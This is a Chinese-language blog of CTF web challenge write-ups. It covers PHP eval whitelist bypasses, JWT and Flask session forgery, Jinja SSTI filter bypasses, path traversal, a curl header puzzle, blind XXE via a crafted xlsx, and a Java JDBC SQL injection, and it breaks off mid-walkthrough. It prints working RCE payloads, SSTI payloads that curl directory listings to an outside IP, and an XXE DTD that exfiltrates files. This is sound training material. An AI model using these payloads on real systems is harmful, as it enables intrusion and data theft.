1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php error_reporting (0 );if (!isset ($_GET ['c' ])){ show_source (__FILE__ ); }else { $content = $_GET ['c' ]; if (strlen ($content ) >= 60 ) { die ("太长了不会算" ); } $blacklist = [' ' , '\t' , '\r' , '\n' ,'\'' , '"' , '`' , '\[' , '\]' ]; foreach ($blacklist as $blackitem ) { if (preg_match ('/' . $blackitem . '/m' , $content )) { die ("请不要输入奇奇怪怪的字符" ); } } $whitelist = ['abs' , 'acos' , 'acosh' , 'asin' , 'asinh' , 'atan2' , 'atan' , 'atanh' , 'bindec' , 'ceil' , 'cos' , 'cosh' , 'decbin' , 'decoct' , 'deg2rad' , 'exp' , 'expm1' , 'floor' , 'fmod' , 'getrandmax' , 'hexdec' , 'hypot' , 'is_finite' , 'is_infinite' , 'is_nan' , 'lcg_value' , 'log10' , 'log1p' , 'log' , 'max' , 'min' , 'mt_getrandmax' , 'mt_rand' , 'mt_srand' , 'octdec' , 'pi' , 'pow' , 'rad2deg' , 'rand' , 'round' , 'sin' , 'sinh' , 'sqrt' , 'srand' , 'tan' , 'tanh' ]; preg_match_all ('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/' , $content , $used_funcs ); foreach ($used_funcs [0 ] as $func ) { if (!in_array ($func , $whitelist )) { die ("请不要输入奇奇怪怪的函数" ); } } eval ('echo ' .$content .';' ); }
分析一下源码
1 $blacklist = [' ' , '\t' , '\r' , '\n' ,'\'' , '"' , '`' , '\[' , '\]' ];
对传入字符进行过滤(空格,\t,\r,\n,\,单引号、双引号,中括号) 绕过:在php中,get方法的[]可以用{}替代
1 $w hitelist = ['abs' , 'acos' , 'acosh' , 'asin' , 'asinh' , 'atan2' , 'atan' , 'atanh' , 'bindec' , 'ceil' , 'cos' , 'cosh' , 'decbin' , 'decoct' , 'deg2rad' , 'exp' , 'expm1' , 'floor' , 'fmod' , 'getrandmax' , 'hexdec' , 'hypot' , 'is_finite' , 'is_infinite' , 'is_nan' , 'lcg_value' , 'log10' , 'log1p' , 'log' , 'max' , 'min' , 'mt_getrandmax' , 'mt_rand' , 'mt_srand' , 'octdec' , 'pi' , 'pow' , 'rad2deg' , 'rand' , 'round' , 'sin' , 'sinh' , 'sqrt' , 'srand' , 'tan' , 'tanh' ];
使用的字符需要在$whitelist白名单中 限制比较严,我们可以使用的一些符号$ ( ) { } = ; ^ 我们需要知道的是PHP中函数名也是字符串,可以当作变量名来使用,例如$pi、$cos都是合法变量名。 我们考虑使用异或来拼接出一段指令 这里网上的师傅们写了一个fuzz脚本,我们可以拿异或好的字符串拼接出函数
1 2 3 4 5 6 7 8 9 10 11 <?php $payload = ['abs' , 'acos' , 'acosh' , 'asin' , 'asinh' , 'atan2' , 'atan' , 'atanh' , 'bindec' , 'ceil' , 'cos' , 'cosh' , 'decbin' , 'decoct' , 'deg2rad' , 'exp' , 'expm1' , 'floor' , 'fmod' , 'getrandmax' , 'hexdec' , 'hypot' , 'is_finite' , 'is_infinite' , 'is_nan' , 'lcg_value' , 'log10' , 'log1p' , 'log' , 'max' , 'min' , 'mt_getrandmax' , 'mt_rand' , 'mt_srand' , 'octdec' , 'pi' , 'pow' , 'rad2deg' , 'rand' , 'round' , 'sin' , 'sinh' , 'sqrt' , 'srand' , 'tan' , 'tanh' ];for ($k =1 ;$k <=sizeof ($payload );$k ++){ for ($i = 0 ;$i < 9 ; $i ++){ for ($j = 0 ;$j <=9 ;$j ++){ $exp = $payload [$k ] ^ $i .$j ; echo ($payload [$k ]."^$i $j " ."==>$exp " ); echo "<br />" ; } } }
类似于这样,把它拼接起来
1 2 3 4 5 is_nan^23 ==>_G tan^15 ==>ET$pi =(mt_rand^(2).(3)).(tan^(1).(5)) 即 $pi =_GET$pi =$$pi 即 $pi =$_GET $pi {1}($pi {2}) 即$_GET {0}($_GET {1})
23和15其实为字符串,如果为数字那么会异或不出想要的结果 其实就是把is_nan和tan这种内置函数当成字符串(因为白名单所限),与数字字符异或,如果有字符串23,那么就拿is_nan中的is和23异或,就得出_G 最后构造出payload
1 ?c=$ pi =(mt_rand^(2 ).(3 )).(tan ^(1 ).(5 ));$ pi =$ $ pi ;$ pi {1 }($ pi {2 })&1 =system &2 =cat /f*
因为单引号被过滤掉了,所以我们用括号来代替,应为点的运算符优先级大于异或,所以字符串例如(2).(3)先成为字符串23再和mt_rand异或
[RootersCTF2019]ImgXweb 题目里只发现了一个页面和登录注册的功能点 先注册一个用户,admin用户显示已注册,注册一个用户名为admin1的账号 登录成功后发现了一个文件上传的功能点 文件上传,不能传.htaccess类似的。到那时php类的可以穿,不解析 那么应该不是phpweb,java也不像。估计是python 然后session应该是jwt加密过的
1 eyJ0 eXAiOiJKV1 QiLCJhbGciOiJIUzI1 NiJ9 .eyJ1 c2 VyIjoiYWRtaW4 xIn0 .VegPTcu7 uSEqaPfiQoq9 AsDHnmQtP2 b8 zXwhYCXZh9 A
扫描目录,发现robots.txt 发现一个名为/static/secretkey.txt的文本,进入后密钥为
使用jwt.io解密 修改密钥和user然后替换session_id 以admin登录发现有个flag.png,点击超链接进入 查看源码发现flag 或者是curl去请求得到flagcurl的用法参考
[watevrCTF-2019]Supercalc 打开页面,我们发现一个计算框 我们输出1+1,返回了2 这种第一个想到的是ssti模板注入 我们输入常规测试语句49 结果发生报错 提示不能使用{},尝试让程序报错 在输入1/0时,得到报错 说明程序对报错没有做过滤,尝试输入#(注释)
可以看到模板语法中的式子被成功计算,看看是否能爆出secret_key的值,查看config
得到了secert_key的值为cded826a1e89925035cc05f0907855f7,满足了加密session的条件,构造本题所需的session 先解密session的格式 构造
1 {'history ': [{'code ': '__import__(\"os\" ).popen(\"ls\" ).read()'}]}
使用flask-session-cookie加密脚本 成功伪造session
1 eyJoaXN0 b3 J5 IjpbeyJjb2 RlIjoiX19 pbXBvcnRfXyhcIm9 zXCIpLnBvcGVuKFwibHNcIikucmVhZCgpIn1 dfQ.ZytU5 Q.JiZWE63 uv1 VBeg4 RNxKxh7 uackg
再伪造一个cat flag.txt就能得到flag了
[GWCTF 2019]你的名字 输入字符串会回显,大概率ssti 输入49给了错误提示
1 Parse error : syntax error , unexpected T_STRING, expecting '{' in \var \WWW\html\test .php on line 13
输入{1+3}照样输出 可能是过滤了 黑名单源代码 使用逻辑错误绕过 先是从黑名单中取出一个字符串经过循环过滤再进行下一个字符串的过滤,因为config字符串是在名单的最后一个,所以黑名单中前面字符串的过滤都已经结束了,再进行config的过滤,所以我们在过滤字符中加入config就可以绕过 尝试一下,发现此payload中的if、os、class、mro、config,popen都会被过滤成空,那可以采取双写绕过的思想 os使用oconfigs,if使用iconfigf,class使用claconfigss,mro使用mrconfigo,popen使用popconfigen payload可以写成如下形式
1 {%print lipsum.__globals__ .__builconfigtins__ .__impoconfigrt__ ('oconfigs' ).poconfigpen('whoami' ).read()%}
也可以拼接绕过
1 {%print lipsum .__globals__ ['__bui' +'ltins__' ] ['__im' +'port__' ] ('o' +'s' )['po' +'pen' ] ('whoami' ).read ()%}
或者
1 2 3 4 5 {%set a ='__bui' +'ltins__'%} {%set b ='__im' +'port__'%} {%set c ='o' +'s'%} {%set d ='po' +'pen'%} {%print (lipsum['__globals__' ][a][b](c)[d]('cat /flag_1s_Hera' )['read' ]())%}
或者反弹shell
1 {% iconfigf '' .__claconfigss__ .__mrconfigo__ [2 ].__subclaconfigsses__ ()[59 ].__init__ .func_gloconfigbals.linecconfigache.oconfigs.popconfigen('curl http://1.2.17.27:6666/ -d `ls /|base64`' ) %}1 {% endiconfigf %}
还有unicode绕过,ssti还有这种套路
1 2 3 4 5 {%print(lipsum|attr('\u005f \u005f \u0067 \u006c \u006f \u0062 \u0061 \u006c \u0073 \u005f \u005f ')|attr('\u005f \u005f \u0067 \u0065 \u0074 \u0069 \u0074 \u0065 \u006d \u005f \u005f ')('\u005f \u005f \u0062 \u0075 \u0069 \u006c \u0074 \u0069 \u006e \u0073 \u005f \u005f ')|attr('\u005f \u005f \u0067 \u0065 \u0074 \u0069 \u0074 \u0065 \u006d \u005f \u005f ')('\u0065 \u0076 \u0061 \u006c ')('\u005f \u005f \u0069 \u006d \u0070 \u006f \u0072 \u0074 \u005f \u005f \u0028 \u0022 \u006f \u0073 \u0022 \u0029 \u002e \u0070 \u006f \u0070 \u0065 \u006e \u0028 \u0022 \u006c \u0073 \u0022 \u0029 \u002e \u0072 \u0065 \u0061 \u0064 \u0028 \u0029 '))%} 相当于{%print(lipsum|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('eval')('__import__("os").popen("ls").read()'))%} {%print(lipsum|attr('\u005f \u005f \u0067 \u006c \u006f \u0062 \u0061 \u006c \u0073 \u005f \u005f ')|attr('\u005f \u005f \u0067 \u0065 \u0074 \u0069 \u0074 \u0065 \u006d \u005f \u005f ')('\u005f \u005f \u0062 \u0075 \u0069 \u006c \u0074 \u0069 \u006e \u0073 \u005f \u005f ')|attr('\u005f \u005f \u0067 \u0065 \u0074 \u0069 \u0074 \u0065 \u006d \u005f \u005f ')('\u0065 \u0076 \u0061 \u006c ')('\u005f \u005f \u0069 \u006d \u0070 \u006f \u0072 \u0074 \u005f \u005f \u0028 \u0022 \u006f \u0073 \u0022 \u0029 \u002e \u0070 \u006f \u0070 \u0065 \u006e \u0028 \u0022 \u0063 \u0061 \u0074 \u0020 \u002f \u0066 \u006c \u0061 \u0067 \u005f \u0031 \u0073 \u005f \u0048 \u0065 \u0072 \u0061 \u0022 \u0029 \u002e \u0072 \u0065 \u0061 \u0064 \u0028 \u0029 '))%} cat /flag_1s_Hera
详情ssti unicode绕过 ssti分隔符 ssti常用到的一些语句
1 2 3 4 5 {{5 *5 }} 直接执行 {% set a="test" %} {{a}} //设置变量 {% for i in ['t ' ,'e ' ,'s ' ,'t ' ] %} {{i}} {% endfor %} //执行循环 {% if 25 ==5 *5 %} {{"success" }} {% endif %} //条件执行 {% print ’‘__.class__%} //会将执行结果输出,在 {{过滤时有起效,如[GWCTF 2019 ]你的名字
virink_2019_files_share 查看源代码发现重要注释
同时在源代码中看到一个上传目录 访问uploads,有两个超链接,分别是Preview和favicon.ico 点击一下preview超链接得到
1 http:// xxx/preview?f=favicon.ico
看到这个格式很容易想到文件包含,首先读取一下/etc/passwd 双写绕过一下,发现还是无法读到,那么我们尝试../的方法 经过测试
1 preview?f=....// ....// ....// ....// ....// ....// etctc// passwd
搞清楚规律接下来就可以来读flag了 但貌似f1ag_Is_h3re是个目录
1 /preview?f=....//....//....//....//....//....//f1ag_Is_h3re..//flag
[BSidesCF 2020]Hurdles 高级的http题
You’ll be rewarded with a flag if you can make it over some /hurdles. 进入/hurdles目录即可
I’m sorry, I was expecting the PUT Method. 这个hackrbar就搞不了,我们用curl
1 curl -X PUT 'node5.buuoj.cn:2817 5/hurdles'
I’m sorry, Your path would be more exciting if it ended in ! 让我们在路径以!结尾,不能直接加,直接子目录
1 curl -X PUT 'node5.buuoj.cn:2817 5/hurdles/!'
I’m sorry, Your URL did not ask to get the flag in its query string.
1 curl -X PUT 'node5.buuoj.cn:2817 5/hurdles/!?get=flag'
I’m sorry, I was looking for a parameter named &=&=& 参数名为&=&=&,但我们不能直接把它当参数的
1 curl -X PUT 'node5.buuoj.cn:28175 /hurdles/!?get=flag&%26 %3 D%26 %3 D%26 =1 '
I’m sorry, I expected ‘&=&=&’ to equal ‘%00 ‘
让它的值等于%00就是null(空字符),这里我们要再给他url编码一次而且注意%00后面跟着一个换行符
1 curl -X PUT 'node5.buuoj.cn:28175 /hurdles/!?get=flag&%26 %3 D%26 %3 D%26 =%2500 %0 a'
I’m sorry, Basically, I was expecting the username player.
需要指定认证,知道了用户名为player,但不知道密码,先随便猜测一个密码,使用-u参数指定
1 curl -X PUT 'node5.buuoj.cn:28175 /hurdles/!?get=flag&%26 %3 D%26 %3 D%26 =%2500 %0 a' -u 'player:player'
I’m sorry, Basically, I was expecting the password of the hex representation of the md5 of the string ‘open sesame’ 密码是open sesame的MD5值
1 curl -X PUT 'node5.buuoj.cn:28175 /hurdles/!?get=flag&%26 %3 D%26 %3 D%26 =%2500 %0 a' -u 'player:54 ef36ec71201fdf9d1423fd26f97f6b'
I’m sorry, I was expecting you to be using a 1337 Browser.
需要一个1337浏览器,加一个UA头
1 curl -X PUT 'node5.buuoj.cn:28175 /hurdles/!?get=flag&%26 %3 D%26 %3 D%26 =%2500 %0 a' -u 'player:54 ef36ec71201fdf9d1423fd26f97f6b' -A 'Mozilla/5 .0 (Windows NT 10 .0 ; Win64; x64) AppleWebKit/537 .36 (KHTML, like Gecko) Chrome/76 .0 .3809 .100 Safari/1337 '
I’m sorry, I was expecting your browser version (v.XXXX) to be over 9000! 浏览器版本大于9000
1 curl -X PUT 'node5.buuoj.cn:28175 /hurdles/!?get=flag&%26 %3 D%26 %3 D%26 =%2500 %0 a' -u 'player:54 ef36ec71201fdf9d1423fd26f97f6b' -A 'Mozilla/5 .0 (Windows NT 10 .0 ; Win64; x64) AppleWebKit/537 .36 (KHTML, like Gecko) Chrome/76 .0 .3809 .100 Safari/1337 v.9001 '
I’m sorry, I was eXpecting this to be Forwarded-For someone! 加个XFF头
1 curl -X PUT 'node5.buuoj.cn:28175 /hurdles/!?get=flag&%26 %3 D%26 %3 D%26 =%2500 %0 a' -u 'player:54 ef36ec71201fdf9d1423fd26f97f6b' -A 'Mozilla/5 .0 (Windows NT 10 .0 ; Win64; x64) AppleWebKit/537 .36 (KHTML, like Gecko) Chrome/76 .0 .3809 .100 Safari/1337 v.9001 ' -H 'X-Forwarded-For:127.0.0.1 '
I’m sorry, I was eXpecting this to be Forwarded For someone through another proxy!
需要额外的代理转发
1 curl -X PUT 'node5.buuoj.cn:28175 /hurdles/!?get=flag&%26 %3 D%26 %3 D%26 =%2500 %0 a' -u 'player:54 ef36ec71201fdf9d1423fd26f97f6b' -A 'Mozilla/5 .0 (Windows NT 10 .0 ; Win64; x64) AppleWebKit/537 .36 (KHTML, like Gecko) Chrome/76 .0 .3809 .100 Safari/1337 v.9001 ' -H 'X-Forwarded-For:127.0.0.1 ,12.12.12.12 '
I’m sorry, I was expecting this to be forwarded through 127.0.0.1
1 curl -X PUT 'node5.buuoj.cn:28175 /hurdles/!?get=flag&%26 %3 D%26 %3 D%26 =%2500 %0 a' -u 'player:54 ef36ec71201fdf9d1423fd26f97f6b' -A 'Mozilla/5 .0 (Windows NT 10 .0 ; Win64; x64) AppleWebKit/537 .36 (KHTML, like Gecko) Chrome/76 .0 .3809 .100 Safari/1337 v.9001 ' -H 'X-Forwarded-For:127.0.0.1 ,127.0.0.1 '
I’m sorry, I was expecting the forwarding client to be 13.37.13.37
1 curl -X PUT 'node5.buuoj.cn:28175 /hurdles/!?get=flag&%26 %3 D%26 %3 D%26 =%2500 %0 a' -u 'player:54 ef36ec71201fdf9d1423fd26f97f6b' -A 'Mozilla/5 .0 (Windows NT 10 .0 ; Win64; x64) AppleWebKit/537 .36 (KHTML, like Gecko) Chrome/76 .0 .3809 .100 Safari/1337 v.9001 ' -H 'X-Forwarded-For:13.37.13.37 ,127.0.0.1 '
I’m sorry, I was expecting a Fortune Cookie
1 curl -X PUT 'node5.buuoj.cn:28175 /hurdles/!?get=flag&%26 %3 D%26 %3 D%26 =%2500 %0 a' -u 'player:54 ef36ec71201fdf9d1423fd26f97f6b' -A 'Mozilla/5 .0 (Windows NT 10 .0 ; Win64; x64) AppleWebKit/537 .36 (KHTML, like Gecko) Chrome/76 .0 .3809 .100 Safari/1337 v.9001 ' -H 'X-Forwarded-For:13.37.13.37 ,127.0.0.1 ' -H 'cookie:Fortune=1 '
I’m sorry, I was expecting the cookie to contain the number of the HTTP Cookie (State Management Mechanism) RFC from 2011.
1 curl -X PUT 'node5.buuoj.cn:28175 /hurdles/!?get=flag&%26 %3 D%26 %3 D%26 =%2500 %0 a' -u 'player:54 ef36ec71201fdf9d1423fd26f97f6b' -A 'Mozilla/5 .0 (Windows NT 10 .0 ; Win64; x64) AppleWebKit/537 .36 (KHTML, like Gecko) Chrome/76 .0 .3809 .100 Safari/1337 v.9001 ' -H 'X-Forwarded-For:13.37.13.37 ,127.0.0.1 ' -H 'cookie:Fortune=6265 '
I’m sorry, I expect you to accept only plain text media (MIME) type. 只接受纯文本(MIME)形式的请求,依然通过—H参数添加请求头信息Accept:text/plain,构造传参
1 curl -X PUT 'node5.buuoj.cn:28175 /hurdles/!?get=flag&%26 %3 D%26 %3 D%26 =%2500 %0 a' -u 'player:54 ef36ec71201fdf9d1423fd26f97f6b' -A 'Mozilla/5 .0 (Windows NT 10 .0 ; Win64; x64) AppleWebKit/537 .36 (KHTML, like Gecko) Chrome/76 .0 .3809 .100 Safari/1337 v.9001 ' -H 'X-Forwarded-For:13.37.13.37 ,127.0.0.1 ' -H 'cookie:Fortune=6265 ' -H 'accept:text/plain'
I’m sorry, Я ожидал, что вы говорите по-русски. 翻译过来是 我以为你会说俄语。 猜测其应该说的是ACCEpt-Language请求头属性,俄语表示为ru,构造传参
1 curl -X PUT 'node5.buuoj.cn:25968 /hurdles/!?get=flag&%26 %3 D%26 %3 D%26 =%2500 %0 a' -u 'player:54 ef36ec71201fdf9d1423fd26f97f6b' -A 'Mozilla/5 .0 (Windows NT 10 .0 ; Win64; x64) AppleWebKit/537 .36 (KHTML, like Gecko) Chrome/76 .0 .3809 .100 Safari/1337 v.9001 ' -H 'X-Forwarded-For:13.37.13.37 ,127.0.0.1 ' -H 'cookie:Fortune=6265 ' -H 'accept:text/plain' -H 'accept-Language:ru'
I’m sorry, I was expecting to share resources with the origin https://ctf.bsidessf.net 还以为构造referer头,其实是origin头
1 curl -X PUT 'node5.buuoj.cn:25968 /hurdles/!?get=flag&%26 %3 D%26 %3 D%26 =%2500 %0 a' -u 'player:54 ef36ec71201fdf9d1423fd26f97f6b' -A 'Mozilla/5 .0 (Windows NT 10 .0 ; Win64; x64) AppleWebKit/537 .36 (KHTML, like Gecko) Chrome/76 .0 .3809 .100 Safari/1337 v.9001 ' -H 'X-Forwarded-For:13.37.13.37 ,127.0.0.1 ' -H 'cookie:Fortune=6265 ' -H 'accept:text/plain' -H 'accept-Language:ru' -H 'origin:https://ctf.bsidessf.net'
I’m sorry, I was expecting you would be refered by https://ctf.bsidessf.net/challenges ?
这回是referer
1 I ' m sorry , I was expecting you would be refered by https :// ctf . bsidessf . net / challenges ?
到这里应该结束了,但是并没返回flag,可能在头信息中,加一个-i参数,查看头信息
1 url -X PUT 'node5.buuoj.cn:25968 /hurdles/!?get=flag&%26 %3 D%26 %3 D%26 =%2500 %0 a' -u 'player:54 ef36ec71201fdf9d1423fd26f97f6b' -A 'Mozilla/5 .0 (Windows NT 10 .0 ; Win64; x64) AppleWebKit/537 .36 (KHTML, like Gecko) Chrome/76 .0 .3809 .100 Safari/1337 v.9001 ' -H 'X-Forwarded-For:13.37.13.37 ,127.0.0.1 ' -H 'cookie:Fortune=6265 ' -H 'accept:text/plain' -H 'accept-Language:ru' -H 'origin:https://ctf.bsidessf.net' -H 'Referer:https://ctf.bsidessf.net/challenges' -i
群友的题 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php error_reporting (0 );if (isset ($_GET ['x' ])){ $x = $_GET ['x' ]; if (!preg_match ("/flag|system|php|cat|sort|shell_exec|eval|passthru|exec|proc_open|popen|`|\||;|<|\\\\|\(|\)/i" , $x )) { try { if (strlen ($x ) < 50 ) { eval ($x ); } else { echo "Input too long!" ; } } catch (Exception $e ) { echo "Error in execution!" ; } } else { echo "Invalid input detected!" ; } } else { highlight_file (__FILE__ ); }
在水群的时候发现了这样的题,不知道是什么比赛 源码正则过滤了几乎所有命令执行函数,告诉了我们flag的位置,那么我们可以eval文件包含 payload
1 ?x=include%20 $_GET [1 ]%3 f>&1 =php:// filter/read=convert.base64-encode/ resource=f1laggggg.php
当然也可以执行其它文件的内容,可以配合内容马
1 "inc1ude()可以执行代码:?c=include%0a$_GET [1]?>&1=/var/1og/nginx/access.1og伪协议 php://filter/read=convert.base64-encode/resource=flag.php"
至于get后的?>我的理解是本题过滤了;而eval需要我们输入的句子中有;来作为代码块结束的标志,所以通过?>代替;直接代表php代码块的结束 不加?>会报eval的错 加了之后
[网鼎杯 2020 青龙组]filejava 知识点
web.xml文件泄露
blind xxe 先随便上传一个文件,点进去,抓包 看到有filename,猜测可能存在目录穿越以及任意文件下载 从路径/UploadServlet可以看出是个java类 尝试目录穿越过程并没有报错,但是其它博客都报了错误并返回了java路径 既然有任意文件下载且是java文件,web.xml是java的配置文件 我们可以把它下载下看看有什么可以利用的信息 一般都在WEB-INF目录下1 /DownloadServlet?filename=../ ../../ ../WEB-INF/ web.xml
在web.xml中找到了各个类的路径 类一般都在WEB-INF/classes目录下 把上面的类都下载下来1 2 3 ../../ ../../ WEB-INF/classes/ cn/abc/ servlet/ListFileServlet.class ../../ ../../ WEB-INF/classes/ cn/abc/ servlet/DownloadServlet.class ../../ ../../ WEB-INF/classes/ cn/abc/ servlet/UploadServlet.class
拖到IDEA上反编译审计一下 发现downloadservlet限制了flag的下载1 2 3 4 if (fileName != null && fileName.toLowerCase().contains("flag" )) { request .setAttribute("message" , "禁止读取" ); request .getRequestDispatcher("/message.jsp" ).forward(request , response ); }
重点是uploadservlet里面当文件头为excel-并且结尾为xlsx是会对该文件进行操作,可能存在XXE
1 2 3 4 5 6 7 8 9 10 11 if (filename.startsWith("excel-" ) && "xlsx" .equals(fileExtName)) { try { Workbook wb1 = WorkbookFactory . create(in ); Sheet sheet = wb1.getSheetAt(0) ; System . out.println(sheet.getFirstRowNum() ); } catch (InvalidFormatException var20) { InvalidFormatException e = var20; System . err.println("poi-ooxml-3.10 has something wrong" ); e.printStackTrace() ; } }
漏洞利用为CVE-2014-3574 先新建一个excel-1.xlsx文件,再改后缀为zip,解压缩,对文件里面的[Content_Types].xml进行修改,修改完后再压缩成zip,改后缀为xlsx
1 2 3 4 5 6 <?xml version="1.0" encoding="UTF-8" standalone="yes" ?> <!DOCTYPE convert [ <!ENTITY % remote SYSTEM "http://ip/penson.dtd" > %remote;%int;%send; ]> <Types xmlns ="http://schemas.openxmlformats.org/package/2006/content-types" > <Default Extension ="rels" ContentType ="application/vnd.openxmlformats-package.relationships+xml" /> <Default Extension ="xml" ContentType ="application/xml" /> <Override PartName ="/xl/workbook.xml" ContentType ="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml" /> <Override PartName ="/xl/worksheets/sheet1.xml" ContentType ="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml" /> <Override PartName ="/xl/theme/theme1.xml" ContentType ="application/vnd.openxmlformats-officedocument.theme+xml" /> <Override PartName ="/xl/styles.xml" ContentType ="application/vnd.openxmlformats-officedocument.spreadsheetml.styles+xml" /> <Override PartName ="/docProps/core.xml" ContentType ="application/vnd.openxmlformats-package.core-properties+xml" /> <Override PartName ="/docProps/app.xml" ContentType ="application/vnd.openxmlformats-officedocument.extended-properties+xml" /> </Types >
在服务器创建penson.dtd文件
1 2 <!ENTITY % file SYSTEM "file:///flag" > <!ENTITY % int "<!ENTITY % send SYSTEM 'http://ip:6666?p=%file;'>" >
监听上传刚才的xlsx文件 上传成功后,端口就会收到flag 这个xxe漏洞还会导致拒绝服务攻击
[网鼎杯 2020 朱雀组]Think Java 先获取源文件,题目给了一个class压缩包,里面有4个class文件 Test.class 接收dbName参数,然后调用getTableData方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 package cn.abc.core.controller;import cn.abc.common.bean.ResponseCode;import cn.abc.common.bean.ResponseResult;import cn.abc.common.security.annotation .Access;import cn.abc.core.sqldict.SqlDict;import cn.abc.core.sqldict.Table;import io.swagger.annotations.ApiOperation;import java.io.IOException;import java.util.List;import org.springframework.web.bind.annotation .CrossOrigin;import org.springframework.web.bind.annotation .PostMapping;import org.springframework.web.bind.annotation .RequestMapping;import org.springframework.web.bind.annotation .RestController;@CrossOrigin @RestController @RequestMapping({"/common/test" }) public class Test { public Test() { } @PostMapping({"/sqlDict" }) @Access @ApiOperation("为了开发方便对应数据库字典查询" ) public ResponseResult sqlDict(String dbName) throws IOException { List<Table> tables = SqlDict.getTableData(dbName, "root" , "abc@12345" ); return ResponseResult.e(ResponseCode.OK, tables); } }
Row.class
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 package cn.abc.core.sqldict;public class Row { String name; String type; String def; String isNull; String isAuto; String remark; String isPK; String size; public String getIsPK() { return this .isPK; } public void setIsPK(String isPK) { this .isPK = isPK; } public String getName() { return this .name; } public void setName(String name) { this .name = name; } public String getType() { return this .type; } public void setType(String type) { this .type = type; } public String getDef() { return this .def; } public void setDef(String def) { this .def = def; } public String getIsNull() { return this .isNull; } public void setIsNull(String isNull) { this .isNull = isNull; } public String getIsAuto() { return this .isAuto; } public void setIsAuto(String isAuto) { this .isAuto = isAuto; } public String getRemark() { return this .remark; } public void setRemark(String remark) { this .remark = remark; } public String getSize() { return this .size; } public void setSize(String size) { this .size = size; } public Row() { } public Row(String name, String type, String def, String isNull, String isAuto, String remark, String isPK, String size) { this .name = name; this .type = type; this .def = def; this .isNull = isNull; this .isAuto = isAuto; this .remark = remark; this .isPK = isPK; this .size = size; } }
SqlDict.class 连接数据库,其中sql语句存在sql注入漏洞
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 package cn.abc.core.sqldict;import java.sql.Connection;import java.sql.DatabaseMetaData;import java.sql.DriverManager;import java.sql.ResultSet;import java.sql.SQLException;import java.sql.Statement;import java.util.ArrayList;import java.util.List;public class SqlDict { public SqlDict () { } public static Connection getConnection (String dbName, String user, String pass) { Connection conn = null ; try { Class.forName("com.mysql.jdbc.Driver" ); if (dbName != null && !dbName.equals("" )) { dbName = "jdbc:mysql://mysqldbserver:3306/" + dbName; } else { dbName = "jdbc:mysql://mysqldbserver:3306/myapp" ; } if (user == null || dbName.equals("" )) { user = "root" ; } if (pass == null || dbName.equals("" )) { pass = "abc@12345" ; } conn = DriverManager.getConnection(dbName, user, pass); } catch (ClassNotFoundException var5) { ClassNotFoundException var5 = var5; var5.printStackTrace(); } catch (SQLException var6) { SQLException var6 = var6; var6.printStackTrace(); } return conn; } public static List<Table> getTableData (String dbName, String user, String pass) { List<Table> Tables = new ArrayList (); Connection conn = getConnection(dbName, user, pass); String TableName = "" ; try { Statement stmt = conn.createStatement(); DatabaseMetaData metaData = conn.getMetaData(); ResultSet tableNames = metaData.getTables((String)null , (String)null , (String)null , new String []{"TABLE" }); while (tableNames.next()) { TableName = tableNames.getString(3 ); Table table = new Table (); String sql = "Select TABLE_COMMENT from INFORMATION_SCHEMA.TABLES Where table_schema = '" + dbName + "' and table_name='" + TableName + "';" ; ResultSet rs = stmt.executeQuery(sql); while (rs.next()) { table.setTableDescribe(rs.getString("TABLE_COMMENT" )); } table.setTableName(TableName); ResultSet data = metaData.getColumns(conn.getCatalog(), (String)null , TableName, "" ); ResultSet rs2 = metaData.getPrimaryKeys(conn.getCatalog(), (String)null , TableName); String PK; for (PK = "" ; rs2.next(); PK = rs2.getString(4 )) { } while (data.next()) { Row row = new Row (data.getString("COLUMN_NAME" ), data.getString("TYPE_NAME" ), data.getString("COLUMN_DEF" ), data.getString("NULLABLE" ).equals("1" ) ? "YES" : "NO" , data.getString("IS_AUTOINCREMENT" ), data.getString("REMARKS" ), data.getString("COLUMN_NAME" ).equals(PK) ? "true" : null , data.getString("COLUMN_SIZE" )); table.list.add(row); } Tables.add(table); } } catch (SQLException var16) { SQLException var16 = var16; var16.printStackTrace(); } return Tables; } }
Swagger 注意看Test.class,导入了swagger这个东西
资料显示
swagger-ui提供了一个可视化的UI页面展示描述文件。接口的调用方、测试、项目经理等都可以在该页面中对相关接口进行查阅和做一些简单的接口请求。该项目支持在线导入描述文件和本地部署UI项目。也就是说接口查看地址可以通过服务地址/swagger-ui.html来访问。
访问swagger-ui.html,会看到有三个路由,分别对应不同的功能,注意看第三个功能,对应着Test.class,我们可以通过传dbName来进行sql注入 至于login和current,题目给我们文件的时候只给了部分class文件,不过login应该是登录用的
JDBC sql注入 第一次做JAVA的sql注入,这里有个概念要理解一下 关于#的使用
jdbc类似URL解析。所以当我们输入myapp#’ union select 1#时
#在URL中是锚点,所以
1 2 3 4 5 6 7 8 jdbc:mysql://mysqldbserver:3306/myapp 会被解析成 jdbc:mysql://mysqldbserver:3306/myapp 再代入sql语句 Select TABLE_COMMENT from INFORMATION_SCHEMA.TABLES where table_schema= '#' union select 1 第一个
在url中#标识锚点,表示网页中的一个位置,比如http:xxx/index.html/#aaa,浏览器读取这个url,会将aaa移到可视位置。在第一个#,都会被视为位置标识符,不会发送到服务器 而jdbc类似于url解析,所以会忽略#后面的字符 而#又是sql注入中的注释符,如果我们需要在url中传#,那么需要进行url编码为%23 SqlDict.class中就有这样的语句 现在开始注入 不知道是不是网络的原因,这几个步骤经常爆不出来东西 爆库
